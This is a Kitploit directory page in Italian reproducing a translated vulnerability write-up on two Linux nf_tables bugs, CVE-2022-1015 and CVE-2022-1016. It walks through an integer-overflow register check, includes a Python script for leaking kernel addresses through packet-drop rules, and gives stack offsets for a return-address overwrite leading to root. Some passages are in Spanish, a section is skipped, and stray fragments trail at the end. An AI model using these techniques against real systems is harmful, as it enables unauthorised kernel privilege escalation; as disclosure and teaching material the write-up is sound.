Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-1015-1016 — Traduzione in spagnolo dei CVE-2022-1015 e 1016 scoperti e documentati da David. | Kitploit
Strumenti/GitHubGitHub/zanezhub/cve-2022-1015-1016
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubzanezhub/cve-2022-1015-1016

CVE-2022-1015-1016

Traduzione in spagnolo dei CVE-2022-1015 e 1016 scoperti e documentati da David.

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2022-1015 & CVE-2022-1026

Questo README.md è una traduzione del blog di David. David ha trovato i CVE 1015 e 1016 nel kernel Linux. Puoi visitare la sua pagina web per leggere il documento originale.

Ecco i suoi profili social:

  • Twitter
  • Github

Un'analisi delle due nuove vulnerabilità Linux in nf_tables

Pubblicato il 2 aprile 2022.

  • CVE-2022-1015 consente di effettuare un accesso out-of-bounds (fuori dai limiti) causato da scarse validazioni degli argomenti di input; può portare all'esecuzione di codice in remoto e all'escalation dei privilegi locali.
  • CVE-2022-1016 è correlato a una scarsa inizializzazione delle variabili allocate nello stack, che può essere usato per far trapelare un'ampia varietà di dati del kernel verso lo spazio utente (userspace).

Questi problemi dovrebbero essere sfruttabili nelle configurazioni predefinite della versione più recente di Ubuntu e di RHEL. Ho scritto la mia proof of concept (PoC) per il CVE-2022-1015 prendendo di mira la versione del kernel 5.16-rc3 di Arch Linux.

Questo documento è rivolto alle persone che abbiano una conoscenza di base del kernel Linux in termini di funzionalità e sicurezza. Ho cercato di rendere questo documento accessibile anche a chi non ha familiarità con lo stack di rete, così da renderlo fruibile a tutti.

Ecco una guida alla lettura:

  • Se sei qui semplicemente per leggere della vulnerabilità, inizia dalla Sezione 4
  • Se vuoi anche un po' di contesto sul sottosistema del kernel, inizia dalla Sezione 2
  • Se sei interessato a un contesto aggiuntivo, leggi l'intero documento

1. Contesto

A metà febbraio, il programma di sicurezza di Google ha annunciato che avrebbe continuato il suo programma di ricompense kCTF, offrendo ricompense che vanno da $31.337 fino a 91.337 dollari per un exploit nel kernel Linux in grado di elevare i privilegi all'utente root da processi senza privilegi in una sandbox nsjail.

Essendo uno studente squattrinato, ovviamente questo ha catturato la mia attenzione. Era la mia prima volta alla ricerca di una vulnerabilità del "mondo reale", ma nelle mie avventure giocando a CTF con la mia squadra, ho acquisito familiarità con il kernel Linux in termini di sicurezza. Dopo ore e ore con pochissimo o nessun progresso (ma con una maggiore conoscenza di Linux), sono riuscito a trovare alcune vulnerabilità nel modulo nf_tables.

Purtroppo, alla fine dei conti, mi sono reso conto che questo modulo non era presente nelle regole del kCTF di Google (quindi non ho ricevuto alcuna ricompensa per queste due vulnerabilità). Ma ovviamente le ho comunque segnalate e ho scritto un exploit LPE (Escalation dei Privilegi Locali) per il CVE-2022-1015.

1.1 Identificare l'obiettivo e la strategia di audit

Bene, quindi hai deciso che troverai alcune vulnerabilità in Linux. E adesso? Linux è un progetto gigantesco, ed è molto facile non vedere il bosco per gli alberi (ti concentri così tanto sui dettagli da perdere di vista ciò che è davvero importante, non hai una visione generale della situazione). Per peggiorare le cose, molte parti non sono documentate e devi leggere un sacco di codice per capire cosa sta succedendo.

Ho iniziato cercando di avere una prospettiva dettagliata del modello di sicurezza di Linux. Trovare un bug è una cosa; ma trovare un buon bug è un'altra cosa molto diversa. Dopotutto, non tutti i bug sono creati uguali:

  • Se un bug richiede privilegi root, non esiste un limite di sicurezza significativo (a meno che il kernel module signing non sia attivato)
    • Alcune cose che mi vengono in mente sono molti dei moduli dei filesystem (virtuali). Solo l'utente root iniziale può montare questi filesystem. L'eccezione ricade in vfe che specifica FS_USERNS_MOUNT, nel qual caso puoi montarli nello user namespace.
  • Se non si può accedere a un bug tramite le syscall, probabilmente non sarà sfruttabile.
    • Questo si applica a molti driver hardware, poiché non hai accesso fisico alla macchina. I driver di rete di basso livello potrebbero comunque essere un buon obiettivo se puoi, p. es., inviare dati tramite bluetooth o 802.11.ac.
    • Ovviamente questo dipende dallo scenario in cui ti trovi.
  • Molti bug richiedono CAP_SYS_ADMIN o CAP_NET_ADMIN.
    • Gli user namespaces (spazi dei nomi) sono attivi per impostazione predefinita, quindi questo non è un problema.
    • Altrimenti dovrai prima fare un'escalation dei privilegi al namespace (spazio dei nomi) dell'utente root all'interno di un container.
  • Non tutti i moduli saranno presenti nel tuo obiettivo.
    • Linux è un pezzo di software eccezionale altamente configurabile, quindi tutte le configurazioni possono variare in una moltitudine di modi.
    • La configurazione del kernel di solito è accessibile da /proc/config.gz. I moduli possono essere caricati (=m) oppure compilati separatamente e caricati in fase di esecuzione (=y).
    • Puoi usare e , ma non sono sempre affidabili, poiché i moduli possono essere caricati dinamicamente nel kernel ( ).

Queste restrizioni ci aiutano a capire i limiti dei sottosistemi in cui possiamo cercare vulnerabilità. Penso che sia una buona idea prenderti il tuo tempo per cercare di pianificare il tuo attacco all'obiettivo che desideri.

Ho già imparato la lezione sul punto precedente. Come ho detto, il modulo nf_tables non era caricato nell'istanza che ci ha presentato kCTF. Avrei potuto accorgermene fin dall'inizio e risparmiarmi la delusione :p. D'altra parte, probabilmente non staresti leggendo questo blog adesso se me ne fossi accorto prima; suppongo che le cose siano andate bene dopo tutto.

Una spiegazione del perché il COS, il fork Linux container-optimized di Google, non avesse nf_tables può essere trovata qui e qui.

1.2 nf_tables: perché?

Dopo aver valutato i punti sopra menzionati, ho deciso che la mia migliore strada per iniziare sarebbe probabilmente stata guardare il codice sorgente della rete. Molte delle funzionalità interessanti lì richiedono CAP_NET_ADMIN, ma come ho detto, in realtà questo non è un problema. Al contrario, sospetto che i componenti che richiedono capacità speciali siano generalmente meno sicuri, poiché gli sviluppatori del kernel possono avere un falso senso di sicurezza.

Ho anche fatto lo sforzo di scegliere il sottosistema di cui volevo saperne di più; in questo modo, anche se non trovi alcun bug, potrai comunque imparare un sacco di cose interessanti.

Ho studiato molti sottosistemi di rete, ma non ho trovato nulla di importante. Dopo aver navigato nella sottodirectory net/, mi sono imbattuto nel modulo nf_tables. Sembrava un po' complesso, quindi ho deciso di prendermi del tempo per conoscerlo.

2. Introduzione a netfilter

Netfilter (net/netfilter) è un sottosistema di rete piuttosto grande nel kernel. In breve, netfilter posiziona hook nei moduli di rete a cui altri moduli possono registrare dei gestori (handler). Quando viene raggiunto un hook, il controllo viene delegato a questi gestori, che possono operare sulla rispettiva struttura dei pacchetti di rete. I gestori possono accettare, scartare e modificare i pacchetti.


4. CVE-2022-1015

Dopo alcune ore a navigare l'API di nf_tables (net/netfilter/nf_tables_api.c) per iniziare a capire come funziona esattamente, ho deciso di dare un'occhiata alla validazione logica dei registri che l'utente invia, e ho trovato alcuni comportamenti sospetti. Dopo aver riflettuto se stavo impazzendo o no, ho scritto una piccola PoC (proof of concept) per cercare di attivare la vulnerabilità che avevo trovato: una vulnerabilità nota come OOB (out-of-bounds, fuori dai limiti), che consente di leggere e scrivere nella memoria stack.

Dopo aver trovato un modo per far trapelare gli indirizzi del kernel, prendere il controllo del puntatore di memoria è stato abbastanza facile. Dopo un po' di ROP (programmazione orientata al ritorno), la shell con privilegi root è diventata una realtà.

4.1 Root

Ogni volta che la routine init di un'espressione deve fare il parsing di un registro da un messaggio utente di netlink, viene chiamata la routine nft_parse_register_load o nft_parse_register_store a seconda che si tratti di un registro sorgente o di un registro di destinazione. Ho aggiunto alcuni commenti:```c int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len) {

root@kitploit:~
/* Given a netlink attribute and the length
 * that is required to read the requested data,
 * write a register index to `sreg` or return
 * an error on failure. */

u32 reg;
int err;


reg = nft_parse_register(attr);
err = nft_validate_register_load(reg, len);
if (err < 0)
    return err;

/* Write resulting index to the nft_expr.data structure. */
*sreg = reg;
return 0;

}


static unsigned int nft_parse_register(const struct nlattr attr) { / Convert a register to an index in nft_regs */

root@kitploit:~
unsigned int reg;

/* Get specified register from netlink attribute */
reg = ntohl(nla_get_be32(attr));

switch (reg) {
/* If it's 0 to 4 inclusive,      
 * it's an OG 16-byte register and we need to
 * multiply the index by 4 (4*4=16) */
case NFT_REG_VERDICT...NFT_REG_4:
    return reg * NFT_REG_SIZE / NFT_REG32_SIZE;

/* Else we subtract 4, since we need to account
 * for the OG registers above. */
default:
    return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}

/* So supplied values of 1, 2, 3, 4 map to
 * OG 16-byte registers, with indices 4, 8,
 * 12, 16
 * Supplied values of 5, 6, 7 overlap the verdict,
 * 8,9,10,11   overlap with OG register 1
 * 12,13,14,15 overlap with OG register 2
 * etc. */

}


static int nft_validate_register_load(enum nft_registers reg, unsigned int len) { /* We can never read from the verdict register, * so bail out if the index is 0,1,2,3 */ if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL;

root@kitploit:~
/* Invalid operation, bail out */
if (len == 0)
    return -EINVAL;

/* If there would be an OOB access whenever
 * `reg` is taken as index and `len` bytes are read,
 * bail out.
 * sizeof_field(struct nft_regs, data) == 0x50 */
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) 
    return -ERANGE;

return 0;

}

root@kitploit:~
Le varianti `*_store` sono virtualmente identiche, tranne che consentono di scrivere nel *verbdict* in alcune condizioni.

Dopo aver rivisto l'ultima validazione, qualcosa è davvero fuori posto qui:```c
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))

Questo sembra essere un integer overflow, non credete? Se possiamo fare in modo che reg contenga un valore moltiplicato per 4 che generi un overflow quando gli viene sommato len, possiamo soddisfare le condizioni. In nft_parse_register_load, l'ultimo byte significativo di reg viene ancora scritto nel puntatore u8 *sreg, cadendo nel nostro nft_expr che viene successivamente usato come indice.```c *sreg = reg;

root@kitploit:~
¿De verdad podemos? `reg` es un `enum nft_registers` en la validación de la rutina, de todas formas. Podemos pasar valores que tengan un rango entre `0x00000001` hasta `0xfffffffb` inclusive, el rango de `nft_parse_register`; pero ¿será `reg` un valor de 32 bits en `nft_validate_register_load`? Se sabe que los compiladores podrían encoger los *enum types* si un tipo más pequeño puede representar todos los valores. Vamos a obtener una segunda opinión.

Obtenido del manual de GCC:```
The integer type compatible with each enumerated type (C90 6.5.2.2, C99 and C11 6.7.2.2).
Normally, the type is unsigned int if there are no negative values 
in the enumeration, otherwise int. If -fshort-enums is specified,
then if there are negative values it is the first 
of signed char, short and int that can represent all the values, 
otherwise it is the first of unsigned char, unsigned short and unsigned int 
that can represent all the values.

On some targets, -fshort-enums is the default; this is determined by the ABI.

TL;DR? Dipende dall'ABI e dal possibile grado di ottimizzazione. Non sono riuscito a trovare alcuna prova concreta che questa opzione sia attivata per impostazione predefinita nelle build di Linux.

Ma l'assembler non mente mai. Diamo un'occhiata:```objdump.x86asm 0000000000001b60 <nft_parse_register_load>: 1b60: e8 00 00 00 00 call 1b65 <nft_parse_register_load+0x5> 1b65: 55 push rbp 1b66: 8b 47 04 mov eax,DWORD PTR [rdi+0x4] 1b69: 0f c8 bswap eax 1b6b: 89 c7 mov edi,eax 1b6d: 8d 48 fc lea ecx,[rax-0x4] 1b70: c1 e7 04 shl edi,0x4 1b73: 48 89 e5 mov rbp,rsp 1b76: c1 ef 02 shr edi,0x2 1b79: 83 f8 04 cmp eax,0x4 1b7c: 89 f8 mov eax,edi 1b7e: 0f 47 c1 cmova eax,ecx 1b81: 85 d2 test edx,edx 1b83: 74 13 je 1b98 <nft_parse_register_load+0x38> 1b85: 83 f8 03 cmp eax,0x3 1b88: 76 0e jbe 1b98 <nft_parse_register_load+0x38> 1b8a: 8d 14 82 lea edx,[rdx+rax*4] 1b8d: 83 fa 50 cmp edx,0x50 1b90: 77 0d ja 1b9f <nft_parse_register_load+0x3f> 1b92: 88 06 mov BYTE PTR [rsi],al 1b94: 5d pop rbp 1b95: 31 c0 xor eax,eax 1b97: c3 ret
1b98: b8 ea ff ff ff mov eax,0xffffffea 1b9d: 5d pop rbp 1b9e: c3 ret
1b9f: b8 de ff ff ff mov eax,0xffffffde 1ba4: 5d pop rbp 1ba5: c3 ret

root@kitploit:~
Le chiamate di funzione sono allineate abbastanza bene. Le operazioni importanti sono in `1b8a`:```objdump.x86asm
lea    edx, [rdx+rax*4]
cmp    edx, 0x50
ja     1b9f <nft_parse_register_load+0x3f>
mov    BYTE PTR [rsi], al

rax è il risultato di ntf_parse_register, rdx è len fornita, e rsi è il puntatore sreg. Ci siamo già tolti il dubbio.

nft_parse_register_store mostra lo stesso comportamento. Finché i registri vivono nello stack, la nostra vulnerabilità OOB sarà ovviamente relativa allo stack. Questo è un bene, perché con un po' di fortuna potremo sovrascrivere e ritornare memoria direttamente.

Per fare un esempio di input vulnerabile, un registro 0xfffffffb e una lunghezza di 0x20 porteranno a valutare 0xfffffffb * 4 + 0x20 = 0x0c < 0x50. Dopo la validazione, (u8)0xfffffffb = 0xfb verrà scritto in *sreg.

C'è però un problema: esistono espressioni che ci permettano di usare una lunghezza in grado di causare un overflow quando viene eseguita la somma? Dopo qualche ricerca, ho scoperto che nft_bitwise e nft_payload ti permettono di fornire come input la tua lunghezza, da 0x00 a 0xff. Molte altre espressioni sembrano avere lunghezze statiche molto piccole.

Per ora la cosa sembra promettente. Il passo successivo è prendere questi exploit primitives (capacità generica acquisita durante un exploit) e usarli.

4.2 Esaminando le exploit primitives

Se riusciamo a definire il tipo di potere che il nostro exploit può darci, sfruttare questa vulnerabilità dovrebbe essere più facile. Quindi, abbiate un po' di pazienza, perché vedremo un po' di aritmetica.

Ci sono tre punti che possiamo usare per il nostro overflow per la moltiplicazione del registro, dato che questo viene moltiplicato per 4 = 2^2: 2^32 - 1, 2^31 - 1 e 2^30 - 1 (rispettivamente 0xffffffff, 0x7fffffff e 0x3fffffff). Questi valori possono continuare a diminuire finché, sommando la nostra lunghezza massima consentita dopo che questa è stata moltiplicata per quattro, non si otterrà più un overflow. Un altro punto da tenere in considerazione è che non possiamo usare valori maggiori di 0xfffffffb, come accennato in precedenza.

Data una lunghezza specifica, i byte meno significativi che possono permettere un overflow usando questa lunghezza formeranno il nostro intervallo di indici OOB utilizzabile.

Dopotutto, non importa quali punti di overflow vengano usati. Prendi ad esempio i seguenti valori con un LSB (bit meno significativo) di 0xf0:``` 0xfffffff0 * 4 = 0xffffffc0 0x7ffffff0 * 4 = 0xffffffc0 0x3ffffff0 * 4 = 0xffffffc0

root@kitploit:~
D'ora in poi, useremo valori di registro vicini a `0x7fffffff`.

In precedenza abbiamo parlato di `nft_payload` e `nft_bitwise`. Alcune proprietà di queste espressioni sono:

* `nft_payload` può eseguire solo scritture *OOB*, mentre `nft_bitwise` può eseguire scritture e letture *OOB*.

* `nft_payload` può eseguire scritture *OOB* fino a 0xff byte di dati arbitrari.

* `nft_bitwise` in realtà può scrivere solo fino a `0x40` byte di dati arbitrari e può leggere solo `0x40` byte di dati che si trovano nello *stack* dello spazio dei registri.
  
  * `nft_bitwise` richiede un `sreg` e un `dreg`, i quali devono superare la validazione con lo stesso valore di lunghezza.
  
  * Abbiamo solo `0x40` byte di spazio dei registri, quindi vogliamo leggere o scrivere dallo spazio dei registri, ma non possiamo superare la validazione con una lunghezza maggiore di `0x40`.

Possiamo usare un valore di lunghezza più grande per `nft_bitwise`, ma significa che `sreg` e `dreg` devono essere fuori dai limiti, il che non sarebbe molto utile per i nostri scopi. Quindi, per ora lavoreremo con la lunghezza di `0x40`.

Tenendo conto di tutto ciò, che tipi di *exploit* potremo usare?

`nft_bitwise` ha una lunghezza massima di `0x40`. Ciò significa che il valore del registro moltiplicato per quattro dovrebbe essere almeno `0xffffffc0`. Il valore più grande che possiamo ottenere moltiplicando per quattro è `0xfffffffb`, e poiché `0xfffffffb + 0x40 = 0x3b <= 0x50`, supererà la validazione.

`0x7ffffff0 * 4 = 0xffffffc0`: il limite inferiore è `0xf0`.
`0x7fffffff * 4 = 0xfffffffb`: il limite superiore è `0xff`.

Traducendo in [*byte offsets*](https://es.wikipedia.org/wiki/Offset_(inform%C3%A1tica)):```
0xc1 * 4        = 0x304
0xeb * 4 + 0xff = 0x4ab

nft_payload può scrivere fuori dai limiti attraverso gli offset [0x304, 0x4ab] da struct nft_regs.

Ora che tutto questo è stato chiarito, cosa c'è effettivamente nello stack a questi offset?

La routine nft_do_chain può essere chiamata attraverso molti percorsi di codice. Esistono molti fattori che cambieranno la forma dello stack prima del stack frame (frame di stack) di nft_do_chain:

  • Che il chain hook sia un input o output.

    • Se abbiamo un chain hook configurato come input, l'hook si attiverà nel contesto softirq del rispettivo dispositivo di rete con lo stack softirq.
    • Se abbiamo un chain hook configurato come output, l'hook si attiverà nel contesto di syscall (chiamata di sistema) send* con lo stack di syscall.
  • Il protocollo che stiamo usando.

    • Inviare un pacchetto IP grezzo avrà un call stack abbastanza diverso da p. es. un pacchetto UDP.

Penso che tu possa ottenere molte varianti di call stack usando diverse combinazioni di protocolli, interfacce e localizzazioni degli hook. Per il momento useremo un chain hook configurato come output con un pacchetto UDP.

Diagramma dello stack con output e UDP

Layout dello stack e portata fuori dai limiti in nft_do_chain quando un pacchetto UDP inviato raggiunge un hook configurato come output

4.3 Filtrazione di informazioni da un canale laterale (side-channel)

Per poter creare un exploit stabile, dovremo prima filtrare l'indirizzo dell'immagine del kernel.

L'indirizzo dell'immagine del kernel ha 9 bit di entropia (misura dell'incertezza esistente rispetto a un insieme di messaggi, dal quale ne verrà ricevuto uno solo), il che significa che ci sono 512 posizioni diverse in cui il kernel può essere caricato. A seconda dello scenario del tuo attacco, c'è una probabilità di 1 su 512 che l'attacco funzioni correttamente; ma sarebbe meglio se riuscissimo a ottenere un exploit più stabile di così.

Il passo più semplice è provare a usare la nostra capacità di lettura fuori dai limiti che nft_bitwise ci ha procurato per copiare alcuni dei dati dello stack nei nostri registri. Poiché l'intervallo totale che possiamo leggere ha una lunghezza di0x7c byte, c'è una probabilità abbastanza alta che l'indirizzo del kernel sia lì.

Portata fuori dai limiti di nft_bitwise

Portata fuori dai limiti di nft_bitwise

Oggi è il nostro giorno! Ce ne sono due:``` gef➤ x/bx 0xffffffff815b49c1 0xffffffff815b49c1 <import_iovec+49>: 0xc9 gef➤ x/bx 0xffffffff819ac3ec 0xffffffff819ac3ec <copy_msghdr_from_user+92>: 0xba

root@kitploit:~
Scrivere questo nei registri è una cosa, ma estrarli è un'altra. Dopo aver investigato, sembra che non esista un modo semplice per leggere direttamente i registri quando `nft_do_chain` è in esecuzione.

Nel mio report originale a [email protected], mi informarono dell'espressione `nft_dynset` da un maintainer di netfilter, che ha supporto per [*dynamic sets*](https://en.wikipedia.org/wiki/Dynamic_set) che possono agire come una sorta di database in grado di scrivere e leggere attraverso diverse esecuzioni di `nft_do_chain`. A quanto pare, `nft_payload` ha anche la capacità di scrivere al pacchetto da sé, non me ne ero accorto.

Invece, ho deciso di continuare con il mio [*side-channel attack*](https://es.wikipedia.org/wiki/Ataque_de_canal_lateral). A causa della natura di `nf_tables`, puoi causare effetti collaterali. In effetti, potresti dire che non sono nemmeno effetti collaterali, ma effetti primari.

Creando regole che scartano o accettano il pacchetto basandosi sul valore dell'indirizzo di memoria del kernel che stiamo copiando, poco a poco possiamo dedurre quale sia il valore esaminando se i pacchetti che inviamo sono stati anch'essi ricevuti.

1. Creare un *socket* UDP che riceve pacchetti su `127.0.0.1:9999`:
* Dovrebbe ricevere pacchetti in un thread diverso.

* Un messaggio dovrebbe essere rimandato indietro per ogni pacchetto ricevuto.
2. Aggiungi una regola che:
   
   1. Copia l'indirizzo del kernel nei registri con `nft_bitwise`.
   
   2. Usa `nft_cmp_expr` per confrontare l'indirizzo con una costante.
   
   3. Scarta un pacchetto se la comparazione valutata è vera.

3. Invia un pacchetto UDP a `127.0.0.1:9999`
   
   1. Possiamo determinare un po' di informazioni sull'indirizzo del kernel in base al fatto se riceviamo un messaggio di ritorno.

4. Ripeti 2 e 3 con i valori appropriati finché non hai abbastanza informazioni per determinare l'informazione da sola.

![](https://assets.kitploit.com/production/public/readmes/35022/71fabf101d1c962c5434bff7babccd3f294cd3d278765f1b03121429c5417b12.png)

Esistono ancora alcune avvertenze. Per esempio, il pacchetto che riceviamo potrebbe essere scartato senza alcun preavviso. Per mitigare questo, possiamo aggiungere una riduzione del rumore, per la quale avremo bisogno di una *base chain* e di una *auxiliary regular chain*.

*Regola nella base chain:*

| #   | Espressione            | Argomenti                                                                                               | Commento                                                                                                 |
| --- | -------------------- | -------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------- |
| 0   | `nft_payload`        | base=NFT_PAYLOAD_TRANSPORT_HEADER<br/>offset=offsetof(udphdr, dport)<br/>len=sizeof_field(udphdr, dport) | Scrivere la porta di destinazione del pacchetto nel registro 8.                                           |
| 1   | `nft_cmp_expr`       | op=NFT_CMP_EQ<br/>sreg=8<br/>data=9999                                                                   | Confronta la porta di destinazione con `9999` e restituisci `NFT_BREAK` se il risultato non è uguale.     |
| 2   | `nft_payload`        | base=NFT_PAYLOAD_INNER_HEADER<br/>offset=0<br/>len=8                                                     | Scrivere i primi otto byte del pacchetto nel registro 8.                                                   |
| 3   | `nft_cmp_expr`       | op=NFT_CMP_EQ<br/>sreg=8<br/>data=0xdeadbeef0badc0de                                                     | Confronta i primi otto byte con il valore magico e restituisci `NFT_BREAK` se non è uguale.               |
| 4   | `nft_immediate_expr` | verdict=NFT_JUMP<br/>chain=aux_chain                                                                     | Poiché la regola sta ancora valutando, le condizioni devono corrispondere, e viene chiamata la nostra *auxiliary chain*. |

*Regola nella auxiliary chain:*

| #   | Espressione       | Argomenti                                                              | Commento                                                                                                                                                                                  |
| --- | --------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0   | `nft_bitwise`   | op=NFT_BITWISE_RSHIFT<br/>data=SHIFT_AMT<br/>dreg=OOB_OFFSET<br/>sreg=8 | Scrive l'indirizzo del kernel nei registri usando la lettura fuori dai limiti, shiftato di `SHIFT_AMT` bit per ottenere il byte dell'indirizzo desiderato nel registro corretto. |
| 1   | `nft_cmp`       | op=NFT_CMP_GT<br/>sreg=ADDRESS_OFFSET<br/>data=COMPARAND                | Confronta i byte dell'indirizzo del kernel con `COMPARAND`, restituisci `NFT_BREAK` se questo risultato non è uguale.                                                                           |
| 2   | `nft_immediate` | verdict=NFT_DROP                                                        | Scarta il pacchetto se il byte dell'indirizzo è più grande di `COMPARAND`.                                                                                                                       |

Controllando la porta di destinazione e confrontando i primi otto byte interni dell'*header* con un valore magico, possiamo attivare gli effetti collaterali per i pacchetti che vogliamo.

Cambiando dinamicamente `COMPARAND` possiamo fare una ricerca binaria per trovare il byte dell'indirizzo del kernel in tempo `0(log(n))`. Cambiando dinamicamente `SHIFT_AMT` ai prossimi multipli di otto possiamo spostarci al prossimo byte di memoria e ricominciare.

#### 4.3.1 Pseudo-codice del filtro

Un po' di codice in python per filtrare l'indirizzo di memoria. La cosa divertente è che avrei potuto facilmente implementare questo in python. Ricordate che non sempre dovete fare i vostri exploit per un kernel in C :p```python
'''
Asumimos que un hilo secundario está recibiendo
paquetes UDP en 127.0.0.1:9999 y todo lo relacionado
con nf_tables ya está configurado
p. ej. table, base y auxiliary chain
'''

def leak_byte(pos):
    s = socket.socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
    s.settimeout(200) # 200ms debería ser más que suficiente
    s.bind(("127.0.0.1", 1234))

    # buscar los límites
    low = 0, high = 255

    while True:
        mid = (low + high) // 2

        # si encontramos el valor, lo regresamos 
        if low == high:
            s.close()
            return mid

        set_leak_rule(SHIFT_AMT=pos*8, COMPARAND=mid)

        # Enviar el paquete y activar la auxiliary chain
        s.sendto(pack(0xdeadbeef0badc0de), ("127.0.0.1", 9999))

        # El hilo secundario regresa a 127.0.0.1:1234
        res = s.recvfrom(0x2000)

        if not res:
            '''
            nuestro paquete fue soltado
            ya que no se regresó nada en los 200ms
            lo que significa que 

            byte to leak >= mid
            el byte a filtrar es mayor o igual a mid (127)
            '''
            low = mid
        else:
            '''
            [sanity check o prueba de cordura]

            se usa para evaluar rápidamente si 
            el valor a calcular es siquiera posible

            https://es.wikipedia.org/wiki/Prueba_de_cordura
            '''

            if res != b"MSG_OK":
                print("Something went wrong")
                return None

            '''
            Nuestro paquete fue aceptado, lo que
            significa que 

            byte to leak < mid
            byte a filtrar es menor a mid (127)
            '''
            high = mid - 1

leak_bytes = lambda: [leak_byte(i*8) for i in range(4)]

4.4 Esecuzione arbitraria di codice (Arbitrary code execution)

Ora che abbiamo ottenuto il leak, l'esecuzione arbitraria di codice dovrebbe essere molto facile. La scrittura fuori dai limiti di nft_payload dovrebbe poter scrivere un attacco RoP in catena per lo stack, giusto?

Nop. Non abbiamo avuto molta fortuna, almeno su questo kernel in particolare. La scrittura fuori dai limiti di nft_payload quasi interamente si allinea con lo stack frame della routine udp_sendmsg. L'indirizzo di udp_sendmsg si trova all'offset +0x2f8 relativo ai registri; questa posizione è troppo bassa per essere raggiunta con nft_payload o nft_bitwise (possiamo iniziare a scrivere a partire dall'offset +0x304, così vicino...). L'indirizzo inet_sendmsg si trova all'offset +0x4a8. Tecnicamente possiamo raggiungerlo (e sovrascrivere i tre byte inferiori), ma c'è uno stack canary (tecnica utilizzata per la rilevazione di uno stack buffer overflow prima che l'esecuzione di codice malintenzionato possa avvenire) all'indirizzo +0x0458 che dobbiamo anche sovrascrivere per riuscirci. Questo ovviamente farebbe crashare il kernel, quindi fare ciò non è un'opzione.

Sono riuscito a usare questo metodo su un'altra build del kernel, ma sembra che provare a fare lo stesso per il kernel che sto usando per questo blog sarà un po' più difficile.

Ora, forse possiamo fare un po' di contrived stack frame hacking per sovrascrivere le variabili locali in udp_sendmsg. Potremmo anche provare a sovrascrivere il verdict chain pointer, usando un valore dei registri p. es. 0x7fffff00 (penso che potrebbe essere una tecnica geniale; considerando la sfida).

Proviamo a cambiare la base chain hook che usiamo. Stavamo usando una chain output, cosa succederebbe se la cambiassimo in una input?

Il diagramma della scrittura fuori dai limiti in nft_do_chain se un pacchetto UDP inviato raggiunge l'input hook

Questo sembra già un po' meglio! Possiamo sovrascrivere l'indirizzo di ritorno del frame di __netif_receive_skb_one_core (offset +0x328), che ritorna a __netif_receive_skb. Dato che si trova relativamente vicino all'altezza della portata fuori dai limiti del nostro nft_payload, possiamo far puntare il nostro indice OOB (fuori dai limiti) direttamente a questo indirizzo di ritorno, eludendo lo stack canary all'offset +0x310. L'offset +0x328 si traduce nell'indice 0xca.

Per attivare la sovrascrittura dell'indirizzo di ritorno, creiamo una nuova chain input nella tabella e aggiungiamo una regola con un nft_payload che scrive 0xff byte dall'header interno del pacchetto verso l'indice 0xca. Poi inviamo un pacchetto con il payload, e boom.

🥳 🥳 🥳 🥳 🥳

Scarica lo strumento
/proc/modules
/proc/kallsyms
p. es.
request_module
  • Se non sei sicuro, scrivi un piccolo programma che provi a interagire con il modulo.